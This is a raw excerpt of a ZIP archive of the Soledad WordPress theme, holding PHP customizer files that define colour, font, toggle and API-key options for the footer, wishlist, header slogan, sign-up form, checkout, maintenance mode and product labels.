	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Footer Widget Accent Hover Color', 'soledad' ),
	'id'       => 'penci_footer_widget_accent_hover_color',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Footer Instagram', 'soledad' ),
	'id'       => 'penci_footer_instagram_bheading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Footer Instagram Border Top Color', 'soledad' ),
	'id'       => 'footer_instagram_border_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Footer Instagram Title Color', 'soledad' ),
	'id'       => 'penci_footer_instagram_title_color',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Footer Social Icons', 'soledad' ),
	'id'       => 'penci_footer_socialicons_bheading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Footer Social Icons Border & Color', 'soledad' ),
	'id'       => 'penci_footer_icon_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Footer Social Icons Hover Icons Color', 'soledad' ),
	'id'       => 'penci_footer_icon_hover_icon_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Footer Social Icons Hover Border & Background Color', 'soledad' ),
	'id'       => 'penci_footer_icon_hover_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Footer Social Text Color', 'soledad' ),
	'id'       => 'penci_footer_social_text_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Footer Social Hover Text Color', 'soledad' ),
	'id'       => 'penci_footer_social_hover_text_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Footer Social Section Border Color', 'soledad' ),
	'id'       => 'penci_footer_social_border_color',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'sanitize_hex_color',
	'type'        => 'soledad-fw-color',
	'label'       => __( 'Footer Social Section Background Color', 'soledad' ),
	'id'          => 'penci_footer_social_bgcolor',
	'description' => __( 'This option just applies when you re-order the social icons section to higher than other sections', 'soledad' ),
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Footer Menu', 'soledad' ),
	'id'       => 'penci_footer_menu_bheading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Footer Menu Text Color', 'soledad' ),
	'id'       => 'penci_footer_menu_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Footer Menu Text Color Hover', 'soledad' ),
	'id'       => 'penci_footer_menu_color_hover',
);
$options[] = array(
	'label'    => esc_html__( 'Footer Copyright Text', 'soledad' ),
	'id'       => 'penci_footer_copyright_bheading',
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_hex_color'
);
$options[] = array(
	'label'    => __( 'Footer Copyright Text Color', 'soledad' ),
	'id'       => 'penci_footer_copyright_text_color',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Footer Copyright Accent Color', 'soledad' ),
	'id'       => 'penci_footer_copyright_accent_color',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Go to Top Button', 'soledad' ),
	'id'       => 'penci_footer_gototop_bheading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Go To Top Text & Icon Color', 'soledad' ),
	'id'       => 'penci_footer_go_top_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Go To Top Text & Icon Hover Color', 'soledad' ),
	'id'       => 'penci_footer_go_top_hover_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Go To Top Button Floating Background Color', 'soledad' ),
	'id'       => 'penci_footer_go_top_float_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Go To Top Button Floating Icon Color', 'soledad' ),
	'id'       => 'penci_footer_go_top_float_icon_color',
);

return $options;
PK     0w\l'	%  %  H  customizer/config/sections/pencidesign_woo_wishlist_settings_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Enable Wishlist', 'soledad' ),
	'description'=>__('Enable wishlist functionality built in with the theme.','soledad'),
	'id'          => 'penci_woocommerce_wishlist',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'penci_woo_shop_hide_wishlist_icon',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Header Wishlist Icon', 'soledad' ),
	'type'     => 'soledad-fw-toggle'
);
if ( function_exists( 'penci_get_pages_option' ) ) {
	$options[] = array(
		'default'     => '',
		'sanitize'    => 'penci_sanitize_choices_field',
		'label'       => __( 'Wishlist page', 'soledad' ),
		'description'=>__('Select a page for the wishlist table. It should contain the shortcode: [penci_wishlist]','soledad'),
		'id'          => 'penci_woocommerce_wishlist_page',
		'type'        => 'soledad-fw-select',
		'choices'     => penci_get_pages_option()
	);
}
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Only for logged in', 'soledad' ),
	'description'=>__('Disable wishlist for guests customers.','soledad'),
	'id'          => 'penci_woocommerce_wishlist_only_logged_in',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => true,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Show button on product grid', 'soledad' ),
	'description'=>__('Display wishlist product button on all products grids and lists.','soledad'),
	'id'          => 'penci_woocommerce_wishlist_show',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'penci_woocommerce_wishlist_ppp',
	'default'  => '24',
	'sanitize' => 'penci_sanitize_number_field',
	'label'    => __( 'Products Items Per Page', 'soledad' ),
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_woocommerce_wishlist_ppp',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => '',
		),
	),
);
$options[] = array(
	'default'     => 'pagination',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Products Pagination', 'soledad' ),
	'description'=>__('Choose a type for the pagination on your shop page.','soledad'),
	'id'          => 'penci_woocommerce_wishlist_pagination',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'pagination' => __('Pagination','soledad' ),
		'infinit'    => __('Infinit Scrolling','soledad' ),
	)
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Quick Text Translate', 'soledad' ),
	'id'       => 'penci_woo_section_wishlist_heading_01',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'id'       => 'penci_woo_trans_wishlist_empty_title',
	'default'  => 'Wishlist is empty.',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Empty wishlist heading text', 'soledad' ),
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'     => 'You don\'t have any products in the wishlist yet. <br> You will find a lot of interesting products on our "Shop" page.',
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'Empty wishlist text', 'soledad' ),
	'description'=>__('Text will be displayed if user don\'t add any products to wishlist','soledad'),
	'id'          => 'penci_woocommerce_wishlist_empty_text',
	'type'        => 'soledad-fw-textarea',
);

return $options;
PK     0w\N+
  
  E  customizer/config/sections/pencidesign_logo_header_slogan_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'     => 'keep your memories alive',
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'Header Slogan Text', 'soledad' ),
	'id'          => 'penci_header_slogan_text',
	'description' => __( 'If you want to hide the slogan text, let make it blank', 'soledad' ),
	'type'        => 'soledad-fw-textarea',
);

$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove the Lines on Left & Right of Header Slogan', 'soledad' ),
	'id'       => 'penci_header_remove_line_slogan',
	'type'     => 'soledad-fw-toggle',
);

$options[] = array(
	'default'  => '14',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Slogan', 'soledad' ),
	'id'       => 'penci_font_size_slogan',
	'ids'      => array(
		'desktop' => 'penci_font_size_slogan',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);

$options[] = array(
	'default'     => '"PT Serif", "regular:italic:700:700italic", serif',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Font For Header Slogan', 'soledad' ),
	'id'          => 'penci_font_for_slogan',
	'description' => __( 'Default font is "PT Serif"', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => penci_all_fonts()
);

$options[] = array(
	'default'  => 'bold',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Font Weight For Slogan', 'soledad' ),
	'id'       => 'penci_font_weight_slogan',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'normal'  => __('Normal','soledad' ),
		'bold'    => __('Bold','soledad' ),
		'bolder'  => __('Bolder','soledad' ),
		'lighter' => __('Lighter','soledad' ),
		'100'     => __('100','soledad' ),
		'200'     => __('200','soledad' ),
		'300'     => __('300','soledad' ),
		'400'     => __('400','soledad' ),
		'500'     => __('500','soledad' ),
		'600'     => __('600','soledad' ),
		'700'     => __('700','soledad' ),
		'800'     => __('800','soledad' ),
		'900'     => __('900','soledad' ),
	)
);

$options[] = array(
	'default'  => 'italic',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Font Style for Slogan', 'soledad' ),
	'id'       => 'penci_font_style_slogan',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'italic' => __('Italic','soledad' ),
		'normal' => __('Normal','soledad' ),
	)
);

return $options;
PK     0w\(LX&  &  F  customizer/config/sections/penci_section_header_signupform_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Move Header Sign-Up Form To Below Featured Slider', 'soledad' ),
	'id'          => 'penci_move_signup_below',
	'description' => __( 'If you using Sign-Up form on the header, this option will help you move Sign-Up form to below the featured slider', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Make Header Sign-Up Form Below Featured Slider Full Width', 'soledad' ),
	'id'       => 'penci_move_signup_full_width',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Display Header Sign-Up Form only on Homepage', 'soledad' ),
	'id'       => 'penci_signup_display_homepage',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '20',
	'sanitize' => 'absint',
	'label'    => __( 'Header Sign-Up Form Padding Top & Bottom', 'soledad' ),
	'id'       => 'penci_header_signup_padding',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_header_signup_padding',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '20',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Description on Sign-Up Form', 'soledad' ),
	'id'       => 'penci_header_signup_fdesc',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_header_signup_fdesc',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '13',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Text on "Name" & "Email" fields', 'soledad' ),
	'id'       => 'penci_header_signup_finput',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_header_signup_finput',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '13',
		),
	),
);
$options[] = array(
	'default'  => '14',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for "Subscrible" button', 'soledad' ),
	'id'       => 'penci_header_signup_fsubmit',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_header_signup_fsubmit',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Header Sign-Up Form Area Background Color', 'soledad' ),
	'id'       => 'penci_header_signup_bg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Text Color', 'soledad' ),
	'id'       => 'penci_header_signup_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Input Border Color', 'soledad' ),
	'id'       => 'penci_header_signup_input_border',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Input Text Color', 'soledad' ),
	'id'       => 'penci_header_signup_input_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Submit Button Background Color', 'soledad' ),
	'id'       => 'penci_header_signup_submit_bg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Submit Button Text Color', 'soledad' ),
	'id'       => 'penci_header_signup_submit_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Submit Button Hover Background Color', 'soledad' ),
	'id'       => 'penci_header_signup_submit_bg_hover',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Submit Button Hover Text Color', 'soledad' ),
	'id'       => 'penci_header_signup_submit_color_hover',
);

return $options;
PK     0w\
t1    ;  customizer/config/sections/woocommerce_checkout_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'id'        => 'penci_woo_checkout_breadcrumb_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Breadcrumb Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_breadcrumb_active_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Breadcrumb Active Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_form_label_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Label Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_form_border_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Form Input Border Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_form_border_focus_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Form Input Focus Border Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_form_bg_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Form Input Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_form_bg_focus_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Form Input Focus Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_order_bg_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Order Form Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_order_table_bg_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Order Form Table Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_order_table_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Order Form Table Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_order_head_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Order Form Table Head Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_checkout_order_accent_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Order Form Table Accent Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_checkout_order_table_border_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Order Form Table Border Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_checkout_btn_bg_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Button Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_checkout_btn_txt_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Button Text Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_checkout_btn_hover_bg_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Button Hover Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_checkout_btn_hover_txt_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Button Hover Text Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_checkout_review_order_bg_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Review Order Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_checkout_before_content',
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field',
	'label'    => __( 'Custom Content Before Checkout Form', 'soledad' ),
	'type'     => 'soledad-fw-textarea',
);
$options[] = array(
	'id'       => 'penci_woo_checkout_after_content',
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field',
	'label'    => __( 'Custom Content After Checkout Form', 'soledad' ),
	'type'     => 'soledad-fw-textarea',
);

return $options;
PK     0w\l    =  customizer/config/sections/penci_maintenance_mode_section.phpnu [        <?php
$options           = [];
$options[]         = array(
	'id'          => 'penci_maintenance_mode',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_choices_field',
	'type'        => 'soledad-fw-select',
	'label'       => esc_html__( 'Mode', 'soledad' ),
	'description' => esc_html__( 'Choose between Coming Soon mode (returning HTTP 200 code) or Maintenance Mode (returning HTTP 503 code).', 'soledad' ),
	'choices'     => [
		''             => __( 'Disable', 'soledad' ),
		'comming_soon' => __( 'Coming Soon', 'soledad' ),
		'maintenance'  => __( 'Maintenance', 'soledad' ),
	],
);
$block_options     = [];
$block_options[''] = __( '- Select -', 'soledad' );
$builder_layouts   = get_posts( [
	'post_type'      => 'penci-block',
	'posts_per_page' => - 1,
] );
foreach ( $builder_layouts as $builder_builder ) {
	$block_options[ $builder_builder->ID ] = $builder_builder->post_title;
}
/* Saved Layout */
$options[] = array(
	'id'          => 'penci_maintenance_mode_template',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_choices_field',
	'type'        => 'soledad-fw-select',
	'label'       => esc_html__( 'Choose Penci Block', 'soledad' ),
	'description' => esc_html__( 'To enable maintenance/coming soon mode you have to set a Penci Block for the maintenance mode page. Select one or go ahead and create one now. ', 'soledad' ),
	'choices'     => $block_options,
);
$options[] = array(
	'id'       => 'penci_maintenance_mode_access',
	'default'  => 'logged_in',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => esc_html__( 'Who Can Access', 'soledad' ),
	'choices'  => [
		'logged_in' => __( 'Logged In', 'soledad' ),
		'custom'    => __( 'Custom', 'soledad' ),
	],
);
$options[] = array(
	'default'  => [],
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Custom User Group Can Access', 'soledad' ),
	'id'       => 'penci_maintenance_mode_custom_roles',
	'type'     => 'soledad-fw-select',
	'multiple' => 999,
	'choices'  => call_user_func( function () {
		$roles = [];

		$wp_roles = new \WP_Roles();
		if ( ! empty( $wp_roles ) ) {
			foreach ( $wp_roles->roles as $role_name => $role_info ) {
				$roles[ $role_name ] = $role_info['name'];
			}
		}

		return $roles;
	} ),
);

return $options;PK     0w\`e    @  customizer/config/sections/pencidesign_general_extra_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'label'       => esc_attr__( 'YouTube API Key', 'soledad' ),
	'id'          => 'penci_youtube_api_key',
	'type'        => 'soledad-fw-text',
	'default'     => '',
	'sanitize'    => 'sanitize_text_field',
	'description' => __( 'Please go to <a class="wp-customizer-link" href="https://developers.google.com/youtube/v3/getting-started?hl=en" target="_blank">https://developers.google.com/youtube/v3/getting-started?hl=en</a> and check this giude and get the YouTube API Key', 'soledad' ),
);
$options[] = array(
	'label'       => esc_attr__( 'Weather API Key', 'soledad' ),
	'id'          => 'penci_api_weather_key',
	'type'        => 'soledad-fw-text',
	'default'     => '',
	'sanitize'    => 'sanitize_text_field',
	'description' => __( '<a class="wp-customizer-link" href="' . esc_url( 'https://openweathermap.org/appid#get' ) . '" target="_blank">' . esc_html__( 'Click here to get an api key', 'soledad' ) . '</a>', 'soledad' )
);
$options[] = array(
	'label'       => esc_attr__( 'Adobe Fonts API Key', 'soledad' ),
	'id'          => 'penci_api_adobe_font',
	'type'        => 'soledad-fw-text',
	'default'     => '',
	'sanitize'    => 'sanitize_text_field',
	'description' => __( 'To use Adobe Fonts you will need a Creative Cloud account. Unlike Google Fonts, this is not a free service.<br><a class="wp-customizer-link" href="' . esc_url( 'https://fonts.adobe.com/account/tokens' ) . '" target="_blank">' . esc_html__( 'Click here to get an api key', 'soledad' ) . '</a>', 'soledad' )
);
$options[] = array(
	'label'       => esc_attr__( 'Google Map API Key', 'soledad' ),
	'id'          => 'penci_map_api_key',
	'type'        => 'soledad-fw-text',
	'default'     => '',
	'sanitize'    => 'sanitize_text_field',
	'description' => __( 'When you use "Penci Map" element from Elementor or WPBakery page builder, it required an Google Map API to make it works. <br> <a class="wp-customizer-link" href="' . esc_url( 'https://console.cloud.google.com/project/_/google/maps-apis/credentials' ) . '" target="_blank">' . esc_html__( 'Click here to get an api key', 'soledad' ) . '</a>', 'soledad' ),
);
$options[] = array(
	'label'    => __( 'Select "rel" Attribute Type for Social Media & Social Share Icons', 'soledad' ),
	'id'       => 'penci_rel_type_social',
	'default'  => 'noreferrer',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'none'                         => __( 'None', 'soledad' ),
		'nofollow'                     => __( 'nofollow', 'soledad' ),
		'noreferrer'                   => __( 'noreferrer', 'soledad' ),
		'noopener'                     => __( 'noopener', 'soledad' ),
		'noreferrer_noopener'          => __( 'noreferrer noopener', 'soledad' ),
		'nofollow_noreferrer'          => __( 'nofollow noreferrer', 'soledad' ),
		'nofollow_noopener'            => __( 'nofollow noopener', 'soledad' ),
		'nofollow_noreferrer_noopener' => __( 'nofollow noreferrer noopener', 'soledad' ),
	)
);
$options[] = array(
	'label'    => __( 'Hide "Archive Template" in the Admin Side Panel Menu', 'soledad' ),
	'id'       => 'penci_hide_archive_builder',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);

$options[] = array(
	'label'    => __( 'Hide "Post Template" in the Admin Side Panel Menu', 'soledad' ),
	'id'       => 'penci_hide_post_builder',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);

$options[] = array(
	'label'    => __( 'Hide "Header Builder" in the Admin Side Panel Menu', 'soledad' ),
	'id'       => 'penci_hide_header_builder',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Hide "Penci Blocks" in the Admin Side Panel Menu', 'soledad' ),
	'id'       => 'penci_hide_pcblocks',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
if ( get_option( 'penci_soledad_is_activated' ) ) {
	$options[] = array(
		'label'       => __( 'Disable New Version Update Notice on The Admin Page', 'soledad' ),
		'description' => __( 'You can check <a class="wp-customizer-link" href="https://imgresources.s3.amazonaws.com/notice-updates.png" target="_blank">this image</a> to understand what\'s "new version update notice on admin page". When a new version released, this notice will appear. This option will help you disable this notice if you want.', 'soledad' ),
		'id'          => 'penci_disable_notice_updates',
		'type'        => 'soledad-fw-toggle',
		'default'     => false,
		'sanitize'    => 'penci_sanitize_checkbox_field'
	);
}
$options[] = array(
	'label'    => __( 'Use Fontawesome Version 5', 'soledad' ),
	'id'       => 'penci_fontawesome_ver5',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Enable Ajax Submit for MC4WP', 'soledad' ),
	'id'       => 'penci_mc4wp_ajax',
	'type'     => 'soledad-fw-toggle',
	'default'  => true,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Add "Last Modified" columns to the Posts > All Posts screen.', 'soledad' ),
	'id'       => 'penci_lastmodified_pcol',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Add "Total Views" columns to the Posts > All Posts screen.', 'soledad' ),
	'id'       => 'penci_tviews_pcol',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Disable Patch Update Notice', 'soledad' ),
	'id'       => 'penci_disable_patch_update',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Disable Theme Options Panel', 'soledad' ),
	'id'       => 'penci_disable_theme_options',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Handle AJAX with REST API', 'soledad' ),
	'id'       => 'penci_handle_ajax_with_rest_api',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'       => __( 'Enable Content Protection', 'soledad' ),
	'description' => __( 'Protect your content by disabling text/image copying and view source access.', 'soledad' ),
	'id'          => 'penci_enable_content_protection',
	'type'        => 'soledad-fw-toggle',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'type'      => 'soledad-fw-button',
	'data_type' => 'penci_fix_polylang_translation',
	'nonce'     => esc_html( wp_create_nonce( 'penci_fix_polylang_translation' ) ),
	'label'     => __( 'Fix Polylang Translation Issue', 'soledad' ),
	'id'        => 'penci_fix_polylang_translation_button',
);

return $options;
PK     0w\qS  S  E  customizer/config/sections/pencidesign_woo_label_settings_section.phpnu [        <?php
$options = [];
/*Product Label Settings*/
$options[] = array(
	'default'     => true,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Show HOT label ?', 'soledad' ),
	'description'=>__('Display HOT label on featured product.','soledad'),
